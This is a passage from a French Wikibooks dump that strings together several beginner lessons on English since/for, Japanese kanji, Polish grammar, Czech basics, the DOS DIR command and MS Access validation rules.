temps (une heure, deux mois ...).<br />Exemple : I've been living here for two weeks. ''J'habite ici depuis deux semaines.''<br />He has been waiting for ten minutes. ''Il attends depuis dix minutes.'' == Temps == En anglais, on utilise ''for'' et ''since'' avec le ''present perfect'' (simple ou progressif) alors qu'en français ''depuis'' est employé avec le présent. Comparez :<br />It's been raining since the last week. ''Il pleut depuis la semaine dernière.'' == Application == [[Image:Evolution-tasks.png]] [[Anglais:Exercices_Since_For|Test]] ---- Retour au [[Enseignement de l'anglais|sommaire]] / [[Anglais : Parfait présent|Present perfect]] ---- Anglais:Exercices Since For 3570 39077 2006-03-28T08:30:48Z Guillaumito 46 restitution de la dernière modification de 82.120.2.168 [[Image:Wikibooks-page.gif]] Voir la [[Anglais:Since et for|leçon]] __NOTOC__ == Exercice 1 == Complétez avec since ou for : # ______ a week # ______ last week # ______ two hours # ______ two o'clock # ______ 1980 # ______ three years # ______ this morning == Exercice 2 == Transformez les expressions suivantes (exemple : since January (It's July) = for six months): # for one hour (it's three o'clock) = ___ # since 2002 = ___ # for three days (it's Sunday) = ___ # for twenty years = ___ == Exercice 3 == Complétez avec since ou for : # I've had this job __ two months. # It's been raining __ four days. # She has lived here __ November. # When they arrived, he had been waiting __ twenty minutes. # You have known her __ Tuesday. == Solutions == ==== Exercice 1 ==== # for a week # since last week # for two hours # since two o'clock # since 1980 # for three years # since this morning ==== Exercice 2 ==== # for one hour (it's three o'clock) = since two o'clock # since 2002 = for four years (it's 2006) # for three days (it's sunday) = since thursday # for twenty years = since 1985 ==== Exercice 3 ==== # I've had this job for two months. # It's been raining for four days. # She has lived here since November. # When they arrived, he had been waiting for twenty minutes. # You have known her since Tuesday. ---- Retour au [[Enseignement de l'anglais|sommaire]] ---- Japonais:Kanji Leçon Ecriture 6 3571 18219 2005-07-31T15:58:10Z M4RC0 274 /* 4, 5, 6 ceuillir des cerises .. */ = Les Chiffres = == 1, 2, 3 nous irons au bois == Bon commencons par le commencement .. comment ecrire 1 en Chiffre Romain .. on écrit tout simplement : I , Pour deux II, et bien en Japonais c'est pareil *un c'est '''un''' Trait *deux c'est '''Deux''' traits *trois c'est trois Traits remarquez que l'on respecte les régles d'écriture, les Kanji s'écrivent de la gauche vers la droite et du haut vers les bas. == 4, 5, 6 ceuillir des cerises ..== *四quatre et 五cinq sont moins évident mais néammoins c'est beaucoup plus simple que l'on ne pense en regardant le dessin que voila .. en fait quatre et cinq ont cachés dans les caractères japonais .. [[Image:Quatre cinq kanji.png]] *六 six .. == 7, 8, 9.. == *七 ici aussi en inversant le symbole, on vois très clairement un 7 .. *八 c'est l'image d'un baton que le coupe en deux, effectivement 8 est 2*2*2 .. Mais avant 9, regardons 10 ... Repronons nos chiffre romain .. dix s'écrit X .. *十 le japonais fonctionne quasiment pareil c'est un X penché.. *9 devient un peu plus facile à voir, il ressemble presque à 10 *九 === Tableaux récapitulatif === [[image:一-order.gif|100 px|left|あ, A]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:一-bw.png|100px]] |- ! bgcolor="#CCCCFF" | Signification: | <big style="font-size: 150%;"> |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | '''c'est un trait''' |} [[image:二-order.gif|100 px|left|あ, A]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:二-bw.png|100px]] |- ! bgcolor="#CCCCFF" | Signification: | <big style="font-size: 150%;"> |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | '''c'est deux traits''' |} [[image:三-order.gif|100 px|left]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:三-bw.png|100px]] |- ! bgcolor="#CCCCFF" | Signification: | <big style="font-size: 150%;"> |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | '''c'est un trait''' |} [[image:四-order.gif|100 px|left]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:四-bw.png|400px]] |- ! bgcolor="#CCCCFF" | Signification: | <big style="font-size: 150%;"> |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | '''c'est un trait''' |} [[image:五-order.gif|100 px|left]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:五-bw.png|100px]] |- ! bgcolor="#CCCCFF" | Signification: | <big style="font-size: 150%;"> |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | '''c'est un trait''' |} [[image:六-order.gif|100 px|left|あ, A]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:六-bw.png|100px]] |- ! bgcolor="#CCCCFF" | Signification: | <big style="font-size: 150%;"> |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | '''c'est un trait''' |} [[image:七-order.gif|100 px|left|あ, A]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:七-bw.png|100px]] |- ! bgcolor="#CCCCFF" | Signification: | <big style="font-size: 150%;"> |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | '''c'est un trait''' |} [[image:八-order.gif|100 px|left|あ, A]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:八-bw.png|100px]] |- ! bgcolor="#CCCCFF" | Signification: | <big style="font-size: 150%;"> |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | '''c'est un trait''' |} [[image:九-order.gif|100 px|left|あ, A]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:九-bw.png|100px]] |- ! bgcolor="#CCCCFF" | Signification: | <big style="font-size: 150%;"> |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | '''c'est un trait''' |} [[image:十-order.gif|100 px|left|あ, A]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:七-bw.png|100px]] |- ! bgcolor="#CCCCFF" | Signification: | <big style="font-size: 150%;"> |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | '''c'est un trait''' |} Japonais:Kanji Leçon Ecriture 7 3572 15073 2005-05-14T18:14:01Z M4RC0 274 <gallery> Image:Kanji hundred stroke order.png Image:Kanji thousand stroke order.png Image:Kanji tenthousand every stroke order.png Image:Kanji yen circle stroke order.png Image:Kanji year stroke order.png </gallery> Japonais:Kanji Leçon Ecriture 2 3573 15074 2005-05-14T18:16:31Z M4RC0 274 juste la gallerie <gallery> Image:Kanji person stroke order.png Image:Kanji child stroke order.png Image:Kanji woman female stroke order.png Image:Kanji study stroke order.png Image:Kanji previous foregoing stroke order.png Image:Kanji I private stroke order.png </gallery> Japonais:Kanji Leçon Ecriture 3 3574 15075 2005-05-14T18:17:55Z M4RC0 274 <gallery> Image:Kanji fire stroke order.png Image:Kanji water stroke order.png Image:Kanji gold money metal stroke order.png Image:Kanji ground earth soil stroke order.png </gallery> Image:Chaussée glissante.png 3575 15076 2005-05-14T18:28:51Z M4RC0 274 modification d'un panneau chaussé glissante dait avec Gimp/Inkscape à partir d'un fichier de open-clipart {{GPL}} modification d'un panneau chaussé glissante dait avec Gimp/Inkscape à partir d'un fichier de open-clipart {{GPL}} Polonais:Questions 3576 15077 2005-05-15T10:21:48Z Jim2k 289 Traduction de l'article anglais = Questions = En [[Enseignement du polonais|polonais]], certaines fois les questions oui/non sont créées par une intonation élevée, qui sont marquées par un point d'interrogation : * Ala ma kota - Ala a un chat * Ala ma kota? - Ala a-t'elle un chat ? Néanmoins, ceci est plus ou moins l'équivalent français : "Alice a un chat ?" Le mot 'czy' peut être utilisé pour former les questions. Ceci les rend plus formelles et sont aussi plus facile à comprendre pour les étrangers. * Czy Ala ma kota? - Ala a-t'elle un chat ? D'autres questions sont créées par des pronoms interrogatifs comme : * gdzie - où * kiedy - quant * kto - qui * co - quoi * ile - combien * jaka - quelle sorte * która - quelle * jak - comment "kto" et "co" se comportent comme des noms (mais ils n'ont pas de nombre) et "jaka" et "która" comme des adjectifs, donc vous devez les utiliser dans leur forme correcte. <table border=1> <tr><th> <th>Qui <th>Quoi <tr><th>Nominatif <td>kto <td>co <tr><th>Génitif <td>kogo <td>czego <tr><th>Datif <td>komu <td>czemu <tr><th>Accusatif <td>kogo <td>co <tr><th>Instrumental <td>kim <td>czym <tr><th>Locatif <td>kim <td>czym </table> Un pronom interrogatif est généralement placé au début de la phrase, même s'il remplace quelque chose qui serait normalement à la fin, comme un objet. * Kogo lubi Ala? - A quoi ressemble Ala ? (Quoi à l'accusatif et placé au début de la phrase). "Ala" est emphatique * Kogo Ala lubi? - correct également, l'emphase est sur "ressemble" * Co pije dziecko? - Que boit l'enfant? (Que à l'accusatif), l'emphase est sur "dziecko" * Co dziecko pije? - correct également, l'emphase est sur "boire" * Kogo lubisz? - Qui aimes-tu ? (Qui à l'accusatif) * Z kim rozmawiasz? - Avec qui parles-tu ? (Qui à l'instrumental) * O czym myślisz? - A quoi penses-tu ? (Quoi au locatif) * Gdzie jest ciastko? - Où est le gâteau ? * Gdzie są dziewczyny? - Où sont les filles ? * Którą dziewczynę lubisz? - Quelle fille aimes-tu ? (Quelle et fille à l'accusatif) * Jaką pijesz kawę? - Quelle sorte de café bois-tu ? (Quelle sorte à l'accusatif), peut vouloir dire soit "quelle sorte de café est-tu en train de boire ?" ou "Quelle sorte de café aimes-tu ?" (et boire généralement) * rozmawiasz - deuxième personne du singulier du verbe "parler" Polonais:Verbes 3577 44276 2006-06-10T18:42:28Z 82.45.6.121 = Verbes = Il existe deux classes de verbes en [[Enseignement du polonais|polonais]] - les verbes perfectifs pour parler des actions déjà finies ou qui le seront, et les imperfectifs pour les actions qui prenne place à un certain moment. Ils forment très souvent des paires. Les verbes perfectifs n'ont pas de présent - si quelque chose est déjà fait, vous devez utiliser le passé et si elle ne l'est pas, le futur. Ce "perfectif futur" est identique dans la forme au présent. Prenons les verbes perfectifs et imperfectifs pour "boire" : * Kot pije mleko - "Le chat boit le lait" ou "Le chat est en train de boire le lait maintenant", '''pije''' est un verbe imperfectif * Kot wypije mleko - "Le chat boira (tout le) lait", '''wypije''' est un verbe perfectif Pour former d'autres temps que le présent et le futur, nous avons besoin de deux formes verbales supplémentaires, l'infinitif et le participe. L'infinitif finie généralement en "-ć". Le participe dépend du nombre du sujet et de son genre : <table border="1"> <tr><th rowspan=3>Perfectivité<th rowspan=3>Sens<th rowspan=3>3ème personne singulier<th rowspan=3>Infinitif<th colspan=5>Participe <tr> <th colspan=3>Singulier <th colspan=2>Pluriel <tr> <th>Féminin <th>Tous les genres masculins <th>Neutre <th>Masculin personnel <th>Autres genres <tr align=center><td>Imperfectif<td rowspan=2>Boire <td>pije<td>pić <td>piła<td>pił<td>piło<td>pili<td>piły <tr align=center><td>Perfectif<td>wypije<td>wypić <td>wypiła<td>wypił<td>wypiło<td>wypili<td>wypiły <tr align=center><td>Imperfectif<td rowspan=2>Manger <td>je<td>jeść<td>jadła<td>jadł<td>jadło<td><font color="#FF0000">jedli</font><td>jadły <tr align=center><td>Perfectif<td>zje<td>zjeść <td>zjadła<td>zjadł<td>zjadło<td><font color="#FF0000">zjedli</font><td>zjadły <tr align=center><td>Imperfectif<td>Voir <td>widzi<td>widzieć <td>widziała<td>widział<td>widziało<td>widzieli<td>widziały <tr align=center><td>Imperfectif<td rowspan=2>Lire <td>czyta<td>czytać <td>czytała<td>czytał<td>czytało<td>czytali<td>czytały <tr align=center><td>Perfectif<td>przeczyta<td>przeczytać <td>przeczytała<td>przeczytał<td>przeczytało<td>przeczytali<td>przeczytały <tr align=center><td>Imperfectif<td rowspan=2>Ecrire <td>pisze<td>pisać <td>pisała<td>pisał<td>pisało<td>pisali<td>pisały <tr align=center><td>Perfectif<td>napisze<td>napisać <td>napisała<td>napisał<td>napisało<td>napisali<td>napisały <tr align=center><td>Imperfectif<td>Avoir <td>ma<td>mieć <td>miała<td>miał<td>miało<td><font color="#FF0000">mieli</font><td>miały <tr align=center><td>Imperfectif<td rowspan=2>Penser <td>myśli<td>myśleć <td>myślała<td>myślał<td>myślało<td><font color="#FF0000">myśleli</font><td>myślały <tr align=center><td>Perfectif<td>pomyśli<td>pomyśleć <td>pomyślała<td>pomyślał<td>pomyślało<td><font color="#FF0000">pomyśleli</font><td>pomyślały <tr align=center><td>Imperfectif<td rowspan=2>Conduire <td>jedzie<td>jechać <td>jechała<td>jechał<td>jechało<td>jechali<td>jechały <tr align=center><td>Perfectif<td>pojedzie<td>pojechać <td>pojechała<td>pojechał<td>pojechało<td>pojechali<td>pojechały <tr align=center><td>Imperfectif<td rowspan=2>Faire / Accomplir <td>robi<td>robić <td>robiła<td>robił<td>robiło<td>robili<td>robiły <tr align=center><td>Perfectif<td>zrobi<td>zrobić <td>zrobiła<td>zrobił<td>zrobiło<td>robili<td>zrobiły <tr align=center><td>Imperfectif<td rowspan=2>Gagner (argent)<td>zarabia<td>zarabiać <td>zarabiała<td>zarabiał<td>zarabiało<td>zarabiali<td>zarabiały <tr align=center><td>Perfectif<td>zarobi<td>zarobić <td>zarobiła<td>zarobił<td>zarobiło<td>zarobili<td>zarobiły </table> Très souvent, un verbe perfectif est formé à partir d'un imperfectif avec un certain préfixe. Une autre classe de paires sont les verbes qui sont déjà dérivés d'un certain autre verbe par un préfixe. En polonais, un double préfixe est très rare, donc un forme alternative de verbe de base est utilisé avec le même préfixe. Les participes ont généralement des fins régulières montrant le nombre et le temps du sujet du verbe : "ła", "ł", "ło", "li", "ły". <font color="#FF0000">Dans certains cas, "a" change aussi en "e" au masculin personnel pluriel, où une consonne adoucie est utilisée. C'est une des particularités typiques de la langue polonaise, et elle peut aussi être trouvée à d'autres places, par exemple le locatif du nom "miasto" (cité) est "mieście".</font> Le futur imperfectif est formé par la forme future du verbe "être" (équivalent au "sera/seront" en français) et soit l'infinitif ou la forme de la troisième personne du participe. <table border=1> <tr><th><th>Singulier<th>Pluriel <tr><td>Première personne<td>będę<td>będziemy <tr><td>Deuxième personne<td>będziesz<td>będziecie <tr><td>Troisième personne<td>będzie<td>będą </table> * Ala będzie czytać książkę - Ala lira un livre * Ala będzie czytała książkę - correct également * Ala przeczyta książkę - Ala lira un livre (en entier) * Dziecko będzie jadło ciastko - "l'enfant mangera un gâteau", ou "l'enfant mangera une part de gâteau" (il peut manger le gâteau entier, mais la phrase ne le précise pas) * Dziecko będzie jeść ciastko - correct également * Dziecko zje ciastko - l'enfant mangera le gâteau (en entier) * Zrobisz obiad ? - Ferez-vous le dîner ? (question à propos d'un effet, qui est le dîner) * Będziesz robić obiad ? - Ferez-vous le dîner ? (question à propos d'une action, par exemple - avez-vous besoin d'aide pour cela ?) * obiad - dîner Vous pouvez aussi utiiser le verbe "être" par lui-même : * Ciastko będzie smaczne - Le gâteau sera savoureux (le gâteau n'est pas encore fait probablement, mais quand il le sera, il sera savoureux) * Basia będzie mamą - Basia sera une mère (Basia est enceinte) * Adam będzie inżynierem - Adam sera un ingénieur (peut-être fait-il des études d'ingénieur) * smaczna - savoureux Temps passé - perfectif passé et imperfectif passé - formé originellement d'une manière similaire, mais plus tard, le verbe auxiliaire a fusionné avec le participe. Le participe seul est la troisière personne passée correcte : * Ala zrobiła kawę - Ala a fait du café (perfectif passé, chose importante : ce café est disponible maintenant) * Ala robiła kawę - Ala était en train de faire du café (imperfectif passé, réponse à "Qu'était en train de faire Ala lorsque vous l'avez vue dernièrement" ou "Qu'est-ce qui a mis tout ce désordre dans la cuisine") Pour la première et la deuxième personne, vous avez à ajouter : * Première personne singulier - "m" * Deuxième personne singulier - "ś" * Première personne pluriel - "śmy" * Deuxième personne pluriel - "ście" Vous ne devez pas utiliser le neutre ("-ło") comme base, et dans le cas du masculin singulier ("-ł") vous avez à ajouter un auxiliaire "-e-" : * zrobiłem kawę - J'ai fait du café (masculin I) * zrobiłam kawę - J'ai fait du café (féminin I) * zrobiłeś kawę - Tu t'es fais tiré (Tu masculin singulier) * zrobiłaś kawę - Tu as fait du café (Tu féminin singulier) * zrobiłyśmy kawę - Nous avons fait du café (... et nous sommes toutes des filles) * zrobiliśmy kawę - Nous avons fait du café (... et il y a au moins un homme parmi nous) Il existait aussi un temps pour marquer quelquechose qui était arrivé avant un évènement donné dans le passé, mais il est très archaïque maintenant et rarement utilisé dans le polonais moderne. Polonais:Usage de l'infinitif 3578 28960 2006-01-15T04:49:40Z 151.203.224.241 = Usage de l'infinitif en [[Enseignement du polonais|polonais]]= '''chcieć''' - Vouloir *Participe : chciał (sing. masc), chcieli (pl. masc) *Conjugaison : chcę, chcesz, chce, chcemy, chcecie, chcą '''lubić''' - Aimer *Participe : lubił, lubili *Conjugaison : lubię, lubisz, lubi, lubimy, lubicie, lubią '''umieć''' - Etre capable (pouvoir?) *Participe : umiał, umieli *Conjugaison : umię, umiesz, umie, umiemy, umiecie, umieją '''potrzebować''' - Avoir besoin *Participe : potrzebował, potrzebowali *Conjugaison : potrzebuję, potrzebujesz, potrzebuje, potrzebujemy, potrzebujecie, potrzebują Vous pouvez utiliser ces verbes, et beaucoup d'autres, ensemble avec d'autres verbes à l'infinitif : * Ala lubi pić kawę - Ala aime boire du café * Ala lubi kawę - veut dire presque la même chose, "boire" est une chose commune que l'on fait avec du café * Dziecko lubi jeść ciastka - l'enfant aime manger des gâteaux * Dziecko lubi ciastka - et "manger" est une chose commune que l'on fait avec des gâteaux * Adam lubi myśleć o Ali - Adam aime penser à Ala * Adam lubi Alę - Adam aime Ala ("penser à" n'est pas l'action par défaut pour Ala) * Tomek chce być inżynierem - Tomek veux être ingénieur (devenir ingénieur) * Dziecko chce jeść - l'enfant veux manger (l'enfant à faim) * Basia umie robić kawę - Basia peut faire du café * Kasia potrzebuje umieć jeździć samochodem - Kasia a besoin être capable de conduire une voiture (2 infinitifs à la suite l'un de l'autre, voiture à l'instrumental) * Kasia - prénom féminin courant * samochód - voiture Japonais:introduction kanji 3580 44574 2006-06-15T06:40:31Z 86.199.66.11 Les Kanji (漢字) sont les caractères idéographiques de la langue japonaise. Ils sont basés sur les caractères chinois Hanzi et à certains degré sont mutuellement lisibles, mais il y a aussi des différences importantes. En fait, deviner la signification d'un Kanji en se basant sur sa signification chinoise peut être fallacieux. Les kanji ne donnent pas la signification entière d'un mot, mais sa signification de base. Son utilisation grammaticale est déterminée par les particules qui l'environnent et le kana suivant détermine son temps. En outre, le japonais n'a pas un kanji pour chaque mot, spécialement ceux empruntés à l'anglais ou d'autres langues occidentales. Néanmoins, comprendre le kanji est au coeur de la compréhension de la langue japonaise, et si vous ne pouvez pas lire le kanji, au moins un minimun, le grand nombre d'homonymes en japonais peuvent vous causer beaucoup de confusion. Il est intéressant de noter que peu de particules sont des Kanji. La plupart des particules emploie plutôt les [[Japonais:Hiragana|hiragana]] ===Furigana=== Parfois, notamment dans 漫画 (まんが, manga = bandes dessinées ), le Kanji aura son équivalent en Kana écrit à coté, ce qui facilite la lecture. Ils sont appelés 不離仮名 (ふりがな, Furigana), ou parfois 読み仮名 (よみがな, Yomigana). Quand ils sont utilisés comme ça, le type de kana utilisé est toujours l'[[Japonais:Hiragana|hiragana]]. Exemple: <table> <tr> <td rowspan="2"><font size="6">何</font></td> <td>な</td> </tr> <tr> <td>に<td> </tr> </table> Qui est ''nani'', soit "quoi" en Kanji avec よみがな/ふりがな (yomigana/furigana). ==Lectures== Le même Kanji peut être lu (prononcé) de plein de façons différentes, en fonction de son contexte. Ces lectures sont regroupées en deux groupes – Ceux qui ont une origine chinoise (音読み, On-yomi) et ceux avec une origine japonaise (訓読み, Kun-yomi). Il est courant qu'un Kanji ait plus d'une lecture d'origine chinoise. La raison en est que l'introduction des caractères chinois (et de leurs prononciations) au Japon ne s'est pas faite en une seul fois dans une seule région. ===Lectures principales=== ====''On yomi''==== 音読み (on yomi) est la lecture chinoise, qui est le plus souvent utilisée dans les mots de plusieurs Kanji ou pour les nombres. 一 (いち, ichi), 二 (に, ni), 三 (さん, san), 四 (し, shi) sont les quatre premiers chiffres, ils sont tous en 音読み (on yomi). ====''Kun yomi''==== 訓読み (kun yomi) c'est la lecture japonaise, qui peut être lu comme un mot isolé ou en combinaison d'un autre Kanji. 月 (つき, tsuki) et 日 (にち, nichi) soit lune et soleil sont en 訓読み (kun yomi). ===Autres lectures=== ==''Nanori''== 名乗り読み (nanori yomi) c'est la lecture pour les Noms, qui est utilisée pour les noms de personnes et de lieux. 林原 (はやしばら, Hayashibara; comme dans [[w:Megumi Hayashibara|Megumi Hayashibara]]...) est écrit en 名乗り読み (nanori yomi). ==Divers== Le symbole 々, ou のま (noma) indique la répétition d'un Kanji. Un bon exemple de répétitions est われわれ (wareware), qui s'écrit 我々 au lieu de 我我, alors qu'ils sont identiques. Leçon Ecriture 1 3581 15082 2005-05-15T18:30:06Z M4RC0 274 Leçon Ecriture 1 déplacé vers Japonais:Kanji Leçon Ecriture 1 #REDIRECT [[Japonais:Kanji Leçon Ecriture 1]] Leçon Ecriture 2 3583 15084 2005-05-15T18:30:50Z M4RC0 274 Leçon Ecriture 2 déplacé vers Japonais:Kanji Leçon Ecriture 2 #REDIRECT [[Japonais:Kanji Leçon Ecriture 2]] Leçon Ecriture 6 3584 15085 2005-05-15T18:32:07Z M4RC0 274 Leçon Ecriture 6 déplacé vers Japonais:Kanji Leçon Ecriture 6 #REDIRECT [[Japonais:Kanji Leçon Ecriture 6]] Leçon Ecriture 7 3585 15086 2005-05-15T18:32:57Z M4RC0 274 Leçon Ecriture 7 déplacé vers Japonais:Kanji Leçon Ecriture 7 #REDIRECT [[Japonais:Kanji Leçon Ecriture 7]] Leçon Ecriture 3 3586 15087 2005-05-15T18:33:29Z M4RC0 274 Leçon Ecriture 3 déplacé vers Japonais:Kanji Leçon Ecriture 3 #REDIRECT [[Japonais:Kanji Leçon Ecriture 3]] Tchèque 3589 15090 2005-05-15T22:21:21Z 84.60.39.46 ... [[Categorie:Langues]] *'''[[Tchèque: Alphabet|Alphabet tchèque]]''' *'''[[Tchèque: Nombres|Nombres]]''' *'''[[Tchèque: Bonjour|Bonjour]]''' *'''[[Tchèque: Expressions|Expressions]]''' ... Tchèque: Alphabet 3590 15091 2005-05-15T22:40:27Z 84.60.39.46 au secours : amis tchèques expliquez! ==L'alphabet tchèque== L'alphabet tchèque comprend les lettres suivantes: {| |a |<b>á</b> |b |c |<b>č</b> |d |<b>ď</b> |e |<b>é</b> |<b>ě</b> |f |g |h |ch |i |<b>í</b> |j |k |l |m |n |<b>ň</b> |o |<b>ó</b> |p |q |r |<b>ř</b> |s |<b>š</b> |t |<b>ť</b> |u |<b>ú</b> |<b>ů</b> |v |w |x |y |<b>ý</b> |z |<b>ž</b> |} ==Voyelles== ===Prononciation=== Les cinq voyelles a e i o u se prononcent respectivement a è i o ou.<br /> A chaque voyelle correspond une variante accentuée longue : * '''á''': aa * '''é''': èè * '''í''': ii * '''ó''': oo * '''ú (ů)''': ouou Il existe trois diphtonge: * '''ou''': comme ow dans show en anglais * '''au''': comme au dans Auto en allemand * '''eu''': éou ==Consonnes== ===Prononciation=== * '''č''': comme tsch dans Kutsche en allemand ou tch dans tcheque * '''ď''': comme dj dans Nadja * '''ň''': comme gn dans champagne * '''ř''': alors la, amis tchèques expliquez!!! * '''š''': comm ch dans cheval * '''ť''': la aussi, amis tchèques expliquez! * '''ž''': comme j dans journal [[Tchèque | Table des matières]] Tchèque: Nombres 3591 15092 2005-05-15T22:52:55Z 84.60.39.46 ==Les nombres== ===De zero a dix-neuf=== 0 nula, 1 jeden (jedna, jedno), 2 dva (dvě), 3 tři, 4 čtyři, 5 pět, 6 šest, 7 sedm, 8 osm, 9 devět, 10 deset<br /> 11 jedenáct, 12 dvanáct, 13 třináct, 14 čtrnáct, 15 patnáct, 16 šestnáct, 17 sedmnáct, 18 osmnáct, 19 devatenáct ===De vingt a trente=== 20 dvacet, 30 třicet, 40 čtyřicet, 50 padesát, 60 šedesát, 70 sedmdesát, 80 osmdesát, 90 devadesát ===De cent a 10¹⁵=== 100 sto, 200 dvě stě, 300 tři sta, 400 čtyři sta, 500 pět set, 600 šest set, 700 sedm set, 800 osm set, 900 devět set<br /> 1000 tisíc, 1.000.000 milión, 10⁹ miliarda, 10¹² trilion, 10¹⁵ kvadrilion ===De 21 a 99=== Pour les nombres de 21 a 99 il y a deux possibilites: # 21 jedenadvacet, 22 dvaadvacet, ... 99 devětadevadesát # 21 dvacet jeden, 22 dvacet dva, ... 99 devadesát devět Les unites, dizaines, centaines, etc... sont placees successivement (dans le meme ordre que les chiffres). *Exemple: 1982 = tisíc devět set osmdesát dva Les nombres indiquant une annee peuvent etre representes d'une maniere differente (comme en allemand): *Exemple: 1982 = devatenáct set osmdesát dva (= Neunzehnhundertzweiundachtzig en allemand) ==Ordinaux== Premier první (prvý),<br />2. druhý, 3. třetí, 4. čtvrtý, 5. pátý, 6. šestý, 7. sedmý, 8. osmý, 9. devátý, 10. desátý<br /> 11. jedenáctý, 12. dvanáctý, 13. třináctý, ... 20. dvacátý, 30. třicátý, 40. čtyřicátý, 50. padesátý, 60. šedesátý, ... 21. jedenadvacátý / dvacátý první ... 99. devětadevadesátý / devadesátý devátý 100. stý, 101 sto první, 122 sto dvacet druhý 200. dvoustý, 300. třistý, 400. čtyřstý, 500. pětistý, 600. šestistý, 700. sedmistý, 800. osmistý, 900. devítistý 1000. tisící, 2000. dvoutisící, 3000. třítisící, 4000. čtyřtisící, 5000. pětitisící, 6000. sedmitisící, ... millionième = milióntý, milliardième = miliardtý, ... [[Tchèque | Table des matières]] Tchèque: Bonjour 3592 15093 2005-05-15T23:11:14Z 84.60.39.46 *Bonjour. = Dobrý den. (ý es prononce ii) *Salut. = Ahoj. (comme en allemand) *Allo! = Haló! *Comment vas-tu? = Jak se máš? *Comment allez vous? = Jak se máte? *Je vais bien. = Mám se dobře. *Ca va mal . = Mám se špatně. ==Au revoir== *Au revoir. = Na shledanou. *Salut. = Ahoj. ==Namen== *Comment t'appelles tu? = Jak se jmenuješ? *Comment vous appelez vous? = Jak se jmenujete? *Je m'appelle Popeye. = Jmenuju se Popeye. [[Tchèque | Table des matières]] Lien externe: http://de.wikibooks.org/wiki/Tschechisch:_Begrüßung Dir (DOS) 3594 22025 2005-09-24T13:38:10Z Pfv2 445 /* Introduction */ == Introduction == '''Commande interne''' de toutes les versions de DOS, permettant de lister les descripteurs, répertoires, (''directory'') des [[w:mémoire de masse|mémoires de masse]] attachées au [[w:système d'exploitation|système d'exploitation]] DOS. ==Utilisation== '''DIR''' ''[lecteur:][chem][fichier]'' ''[lecteur:][chem][fichier] Lecteur, répertoire et/ou fichier(s) à afficher''. * '''DIR''' : Affiche la liste des répertoires et fichiers du dossier (répertoire) actuel. * '''DIR *.ext''' : Affiche la liste de tous les fichiers ayant l'extension EXT. * '''DIR X*.*''' : Affiche la liste des fichiers commençant par X. ===Commutateurs ou options=== '''/P, /W, /A, /O, /S, /B, /L, /C[H]''' * '''/P''' : Marque une pause à chaque écran lors de l'affichage de la liste des fichiers et dossiers. * '''/W''' : Affiche de manière condensée la liste des fichiers et répertoires sur plusieurs colonnes. * '''/A[:]attributs''' : Affiche les fichiers titulaires des attributs spécifiés. ** '''D''' Répertoires ** '''R''' Fichiers lecture seule ** '''H''' Fichiers cachés ** '''S''' Fichiers système ** '''A''' Fichiers prêt à archiver ** '''-''' Préfixe signifiant "non" * '''/O''' : Affiche les fichiers dans l'ordre spécifié. ** '''N''' Nom (alphabétique) ** '''S''' Taille (croissante) ** '''E''' Extension (alphabétique) ** '''D''' Date et heure (chronologique) ** '''G''' Répertoires en tête ** '''-''' Préfixe pour l'ordre inverse ** '''C''' Par taux de compression (par ordre croissant) * '''/S''' : Affiche le catalogue du répertoire courant et de tout les sous répertoires de celui-ci. * '''/B''' Affiche les oms de fichier seuls. * '''/L''' Affiche le catalogue en minuscules. * '''/C[H]''' : Affiche le taux de compression du fichier; ** /CH Utilise pour l'affichage la taille l'unité d'allocation de l'hôte. ''Note :'' Les différentes options peuvent être combinées. Les commutateurs ou options peuvent être initialisés dans la ''variable d'environnement'' '''DIRCMD'''. Fixez les options en préfixant le commutateur par -, ex: /-W. ===Lister le contenu d'un répertoire dans un fichier=== Il peut être pratique de lister les fichiers d'un répertoire (par exemple, pour tenir un catalogue de fichiers). La fonction '''dir''' permet de lister le contenu d'un répertoire et de le sauvegarder dans un fichier. Il suffit d'utiliser la redirection '''>''' : dir c:\nomrep > maliste.txt Pour lister plusieurs répertoires, il suffit de lancer tout d'abord la commande ci-dessus une première fois. Ensuite, en appliquant la redirection '''>>''' aux répertoires suivant, les nouvelles listes sont concaténées dans le fichier : dir c:\autrerep >> maliste.txt [[Catégorie:DOS]] Catégorie:Tables 3595 15096 2005-05-16T06:24:01Z 220.99.69.17 [[Catégorie:Microsoft Access]] Cette catégorie regroupe des articles et cours permettant de manier les tables de MS-Access. Valide Si (MS Access) 3596 15097 2005-05-16T06:45:02Z Genepi2 249 [[Catégorie:Tables]] == Introduction == Cette propriété permet de restreindre les valeurs admissibles dans le champs. Ainsi, il est possible d'établir une règle de validation. Sous l'hypothèse que cette dernière ne soit pas respectée, un [[Message Si Erreur (MS Access)|message d'erreur]] s'affichera. == Codage == ===Limitation de la longeur=== ====Exemples==== Comme "????" : Limitera l'affichage à 5 lettres 